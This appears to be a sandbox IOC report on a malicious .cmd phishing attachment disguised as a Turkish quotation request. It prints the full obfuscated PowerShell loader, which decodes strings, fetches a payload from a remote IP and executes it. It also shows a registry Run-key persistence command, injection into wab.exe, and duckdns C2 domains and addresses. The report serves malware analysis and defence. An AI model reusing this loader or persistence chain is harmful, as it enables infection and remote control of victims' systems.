IOC Report
Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

Teklif talebi BAKVENTA-BAKUUsurpationens.cmd

ASCII text, with very long lines (5881), with no line terminators

initial sample

C:\Users\user\AppData\Roaming\mvourhjs.dat

data

dropped

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Teklif talebi BAKVENTA-BAKUUsurpationens.cmd" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.rOpb,s Kon[Scra$ManaNlaunyFlods AersAfske ranlRekli Limg .ine ForsShee]Hs.p=Cycl$RegnPM.shaStvllEftemIndfe ca,hLegea picvHulkePerir.lens ,im ');$coriariaceous=Handig 'sce Uemb,rBajaeHvaltGrameGeotrZoetoUrangTaburPyroaButtpin,ahLaa . JydDMinno ,dew Mian Karl chioBl eaWhirdSk,lFBlowiH ccla,tieCy,n(Nool$ ubiFNo,ioProcrFrysdShibo y gmr comHisteOphisRetu,Fug $ene,SBaksaMicrnAfladAnnofUncaaPseunuppegKlo,)Anr, ';$coriariaceous=$Sweepy[1]+$coriariaceous;$Sandfang=$Sweepy[0];Xerotherm (Handig 'El.a$EclagTvivlUnbioyeltbSaniaEdd.lTeu,:Hyd.DMa.doTan,y Labe.eatn obenStoue RetsRosi=Os,e(Afs.TRokeeSaf sP,dit Im,- UngPMyoka ContSciuhgrup Cong$Upr SChama ThenStubdBrodfSu,eaDonknAfkrgPost) clu ');while (!$Doyennes) {Xerotherm (Handig 'Deg $VedlgKlasl Sldo.ancbRmera ehalHeat:.ranKfleuiAntil UndoOpkamPreieSammtPrverAfbiiDegecIn.eaEntelLign4Over1Boul=S kk$ IrgtJe,nrTseauRessePatb ') ;Xerotherm $coriariaceous;Xerotherm (Handig 'D,nuSUntetB,igaAeror ,autPy,r-LetvSIod lS,roeRegae S epUr d Alv4 c.l ');Xerotherm (Handig ' Ac,$StorgT,rmlB.odo B,ybScroa Su,l st,:BrebD E,poYampy Fore Ampn BalnAfbiehe.asCres=bre.(T llTComse Sprs Subt Fle-Be,lPFilaaCoditInddhRe,r fred$ ,nnSgarpastrinNon.d ,apf FagaCentnForrgUdla)ligh ') ;Xerotherm (Handig ' Hem$Hrfrg SholSvumo ForbFl.na Foolspru:K,kkRci eeCac,s,ctauopv r Bypr UnceStifc.lietHurliCiceo bo.no,ereL.nerQuin=Lync$ReingCuvel rreoExorb Lnna,isrlSupe: MusM.mitaHardrE,rekBonnuSan,s NonsPs c+Maga+Fje.% wis$SpalD ouaeMetabenkeaElektBr.stTagdeSamaa mentDourrMulteMetanNo ueSal sAero.GenacStevoViewuPlejnstortProa ') ;$Fordommes=$Debatteatrenes[$Resurrectioner];}Xerotherm (Handig 'Kask$PepogFernl ,apoD,ndb oma Seml oun:StepF MobeOverd retInflhPissaDeprsEn.re,aphnServeObjessemi jve=Skid FrstGBevieMongtB.aa-FortCBlodokulanProzt .iceVandn GaltProg Prog$P.ndSFedtaLtrvnE,esdK,odfIntea Fran StogNone ');Xerotherm (Handig 'Anie$Beneg fril ExpoT olbMonoaB.dalPanu: DipSSannt.ntirlif,gFarth A ga Im nBl,edAmtslCompe P.onCa,asCond Diff= Tri S.at[T aiS ucy GodsSta,tKreseCe am .ap.TanaCT.oko.rydnS rbvI,dgeForbrRufutetat]Nost: A i:SystF Silr IndoForvmStarBE traPyros BygeE.gr6 Ind4L tiS BeatAl ar MisiTe lnTakngKnor(nedb$TheiFBarseHanddRegitReprhSgekaA,essE,eneDishnUnhaeInstsUnde)Madr ');Xerotherm (Handig ' Str$ AangNdr,l,scooundebMu ta Empl cas: .taKRa da C,lsRivni shenAg moK.ndeHighrRi,en,ouleMacrs,alv Mag.= ag, Thyr[SalgS .koyGlucsM,latStudeVoltmP.sq.E.trT Sc e s.oxTesttJust. ,trEPersnTranc Sano Cadd.mtsiScotnpjatgEccr] Zin: Air: PriALiniS RetCBegrI .epI et.pecuGo iee SkrtRecaSLanatBaggrisoriSleen C,igo to(Ind,$CervS Undt.ookr omrg Ar,hVolvaPortnSemidInvalFlkke RmnnRublsBedr),ati ');Xerotherm (Handig ' Soc$Savig Sa,l,rugomimibNyheapinklFrti:Et iTKillo rvemKry.mUnsaiStrieLu i= Pro$FlueKO,tiaRatisSp,liKontnStivoN bbehemorBestnAntieVests Ud .Djv.s Konu JaybWai,s LaetNej,r K li gednGaulg,vic( Aa,2Flel9Sold8Galv0over4N,le3Boll,Gemm2Mira7H us8Loun6Febe3Htte)Judg ');Xerotherm $Tommie;"

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Nabolandenes = 1;$Kapsle='S';$Kapsle+='ubstrin';$Kapsle+='g';Function Handig($Fyldepenneblkket){$Bytteforholdet=$Fyldepenneblkket.Length-$Nabolandenes;For($Columbaries=4; $Columbaries -lt $Bytteforholdet; $Columbaries+=(5)){$Festskriftets+=$Fyldepenneblkket.$Kapsle.Invoke( $Columbaries, $Nabolandenes);}$Festskriftets;}function Xerotherm($Drapers){& ($Normalprisen) ($Drapers);}$Palmehavers=Handig 'K njMResaoAfstznedsiFestl urlFokuaUnr /half5Re,u. Unb0bld Tan(PostWFrekiSpeenGarddv,cioInf.wSings Hea BracN RoqTL.at Babo1D,mi0Qq.a.Sten0Prop;Thec DefiWNonciEtagnOpry6Amel4Topc;Gela HetzxIndk6Comp4F.rt;Bill Erhvr Denv N.n:.syc1Basi2sdsu1ge t.Jens0 Spa)Prim UnboGStameSleec,fskkLovloMain/ .om2Nulp0Carb1F rr0Reor0Offi1.ykk0Ahis1Tffe TreF Twoiunwrr DiseSvrdfGattos,rix Ibr/Poli1Far.2Dump1 As .Enhy0Thus ';$Nysseliges=Handig ',undU Eges ignesnotr Ins-AlbuA,lleg,useeUpstnIsoitAnni ';$Fordommes=Handig ' odeh ZigtGacatJ,jup Fl,:.ent/B gg/ lor8Aden7Tors.Do.m1Mult2 Und1dy,n.unbr1cute0 Reg5Appl.Mast1 ic6A mb3Dete/FiltTUnexeKonsrwa.smAut.i rovnSka.aStocl PatjBipaoTigebD sk.OvertMetaoEkspcRhab ';$Problemanalysernes=Handig 'Uro.>Fe.l ';$Normalprisen=Handig 'Mic.iSkaaeRegex Str ';$Schizophasia='Heterozygotes';Xerotherm (Handig 'UndeSRegoePas.tDehu- Je C Stio UnsnGeomtUnteeTalln Re.tSpir Stil-BeatPImpra StetplurhSl.g Ko,mT H.b:Part\Sp,nK.also,mpir AlysNitre W mtSemisMonr.T.att Ch xs,nstDisp ,fsk-FuglV La,aTipslSkaruLa,se Bo lr t$ uscSMisac HydhR.kei looz KigoRep.pLderhAcicaDisrsAppeiAggra,rro;Ge e ');Xerotherm (Handig ' S,pi Chef ,or Labr(AaletFacoe TorsDub tindk- StrpMalaaHeavtTi.eh,ndi H neT Li.:sp l\DemoKAbsooRekorMenisA.foeUnsctUn es.eta.UnibtBentx Adet A.s)Kvin{eksae Pasx,oeci RentEqua} Fer;trop ');$Wedeln = Handig 'NonmedemycBedeh iewoFor edan%kon.al,plpFarmpMakedAra aWoodtBisuaRaft% Gen\Ma,ePRikslTilleSpaau oodrFun.oSenstForbhC.mpoLys,t Tito Ca nUnblu Ma,sAmer.ImprDDistiDi,il Las Gara&Post&Staf C,loeF.tocGennhFangoChi, Tor$Over ';Xerotherm (Handig 'tore$ mangOthilTriloUnstbTr,na.aval ove:paabSOpt.w EngeDir.eLus pAntryT pe=Gaze(S ecc StrmPnhedUdda Fejl/,avlcPr t Utl$,agsWTrine,ilbd DydeFly.lTy.inKar.)Plat ');Xerotherm (Handig 'Pr s$BriegStral ,odoNo,ib ,ndaIntelSu.e:FacoD CleeDo.ab PriaNarktbeeftKonte VaraBramtUds.rCam eIc.nn StoeUtths Reu=Tall$PlamFAn.no F rrStradc.iboDisgmNstemIns,eKlarsCali.Pr bsdetepKr,vlReaciSangt Urf(Gill$TeisP Sk.rE spoPrombB tol DomeCuttmT,lda.allnRhamaJordlopryyPicksWo keArtsrBox.n PrleA,etsAfsp)Slad ');$Fordommes=$Debatteatrenes[0];Xerotherm (Handig ' era$Leucg irklSpeeoF.nabEncaaBal,lCent:B atUStj.rOplaeAmphtGeore f arSouroBagggfor.r ephaLoc.pA sehBars=AlfaN redeKaglwBlyg- accO AntbForlj BoneUgudcAntetDiff LogaSPulvyKonfs A btBilleN,dumMikr.AtomNSysteHetetM.ni.,andWMarke.ussb Si.CS lvlPh.ni P,ceNondnQuintOpsp ');Xerotherm (Handig 'Spin$,jouUBehjrAnt,eTro,tAfstebrikrI.dsoArbegSupprAdgaaReflp Ambh Ec..ToplHGlobeS,beaBedudgrateMor.rOpb,s Kon[Scra$ManaNlaunyFlods AersAfske ranlRekli Limg .ine ForsShee]Hs.p=Cycl$RegnPM.shaStvllEftemIndfe ca,hLegea picvHulkePerir.lens ,im ');$coriariaceous=Handig 'sce Uemb,rBajaeHvaltGrameGeotrZoetoUrangTaburPyroaButtpin,ahLaa . JydDMinno ,dew Mian Karl chioBl eaWhirdSk,lFBlowiH ccla,tieCy,n(Nool$ ubiFNo,ioProcrFrysdShibo y gmr comHisteOphisRetu,Fug $ene,SBaksaMicrnAfladAnnofUncaaPseunuppegKlo,)Anr, ';$coriariaceous=$Sweepy[1]+$coriariaceous;$Sandfang=$Sweepy[0];Xerotherm (Handig 'El.a$EclagTvivlUnbioyeltbSaniaEdd.lTeu,:Hyd.DMa.doTan,y Labe.eatn obenStoue RetsRosi=Os,e(Afs.TRokeeSaf sP,dit Im,- UngPMyoka ContSciuhgrup Cong$Upr SChama ThenStubdBrodfSu,eaDonknAfkrgPost) clu ');while (!$Doyennes) {Xerotherm (Handig 'Deg $VedlgKlasl Sldo.ancbRmera ehalHeat:.ranKfleuiAntil UndoOpkamPreieSammtPrverAfbiiDegecIn.eaEntelLign4Over1Boul=S kk$ IrgtJe,nrTseauRessePatb ') ;Xerotherm $coriariaceous;Xerotherm (Handig 'D,nuSUntetB,igaAeror ,autPy,r-LetvSIod lS,roeRegae S epUr d Alv4 c.l ');Xerotherm (Handig ' Ac,$StorgT,rmlB.odo B,ybScroa Su,l st,:BrebD E,poYampy Fore Ampn BalnAfbiehe.asCres=bre.(T llTComse Sprs Subt Fle-Be,lPFilaaCoditInddhRe,r fred$ ,nnSgarpastrinNon.d ,apf FagaCentnForrgUdla)ligh ') ;Xerotherm (Handig ' Hem$Hrfrg SholSvumo ForbFl.na Foolspru:K,kkRci eeCac,s,ctauopv r Bypr UnceStifc.lietHurliCiceo bo.no,ereL.nerQuin=Lync$ReingCuvel rreoExorb Lnna,isrlSupe: MusM.mitaHardrE,rekBonnuSan,s NonsPs c+Maga+Fje.% wis$SpalD ouaeMetabenkeaElektBr.stTagdeSamaa mentDourrMulteMetanNo ueSal sAero.GenacStevoViewuPlejnstortProa ') ;$Fordommes=$Debatteatrenes[$Resurrectioner];}Xerotherm (Handig 'Kask$PepogFernl ,apoD,ndb oma Seml oun:StepF MobeOverd retInflhPissaDeprsEn.re,aphnServeObjessemi jve=Skid FrstGBevieMongtB.aa-FortCBlodokulanProzt .iceVandn GaltProg Prog$P.ndSFedtaLtrvnE,esdK,odfIntea Fran StogNone ');Xerotherm (Handig 'Anie$Beneg fril ExpoT olbMonoaB.dalPanu: DipSSannt.ntirlif,gFarth A ga Im nBl,edAmtslCompe P.onCa,asCond Diff= Tri S.at[T aiS ucy GodsSta,tKreseCe am .ap.TanaCT.oko.rydnS rbvI,dgeForbrRufutetat]Nost: A i:SystF Silr IndoForvmStarBE traPyros BygeE.gr6 Ind4L tiS BeatAl ar MisiTe lnTakngKnor(nedb$TheiFBarseHanddRegitReprhSgekaA,essE,eneDishnUnhaeInstsUnde)Madr ');Xerotherm (Handig ' Str$ AangNdr,l,scooundebMu ta Empl cas: .taKRa da C,lsRivni shenAg moK.ndeHighrRi,en,ouleMacrs,alv Mag.= ag, Thyr[SalgS .koyGlucsM,latStudeVoltmP.sq.E.trT Sc e s.oxTesttJust. ,trEPersnTranc Sano Cadd.mtsiScotnpjatgEccr] Zin: Air: PriALiniS RetCBegrI .epI et.pecuGo iee SkrtRecaSLanatBaggrisoriSleen C,igo to(Ind,$CervS Undt.ookr omrg Ar,hVolvaPortnSemidInvalFlkke RmnnRublsBedr),ati ');Xerotherm (Handig ' Soc$Savig Sa,l,rugomimibNyheapinklFrti:Et iTKillo rvemKry.mUnsaiStrieLu i= Pro$FlueKO,tiaRatisSp,liKontnStivoN bbehemorBestnAntieVests Ud .Djv.s Konu JaybWai,s LaetNej,r K li gednGaulg,vic( Aa,2Flel9Sold8Galv0over4N,le3Boll,Gemm2Mira7H us8Loun6Febe3Htte)Judg ');Xerotherm $Tommie;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Pleurothotonus.Dil && echo $"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Stagenes" /t REG_EXPAND_SZ /d "%Frihjulets% -w 1 $Gyps224=(Get-ItemProperty -Path 'HKCU:\Bundfloraernes\').Equalized;%Frihjulets% ($Gyps224)"

jgbours284hawara01.duckdns.org

http://pesterbdd.com/images/Pester.png

unknown

http://geoplugin.net/json.gp

178.237.33.50

jgbours284hawara01.duckdns.org

192.169.69.26

jgbours284hawara02.duckdns.org

45.88.90.110

www.duelvalenza.it

unknown

45.88.90.110

jgbours284hawara02.duckdns.org

Bulgaria

192.169.69.26

jgbours284hawara01.duckdns.org

United States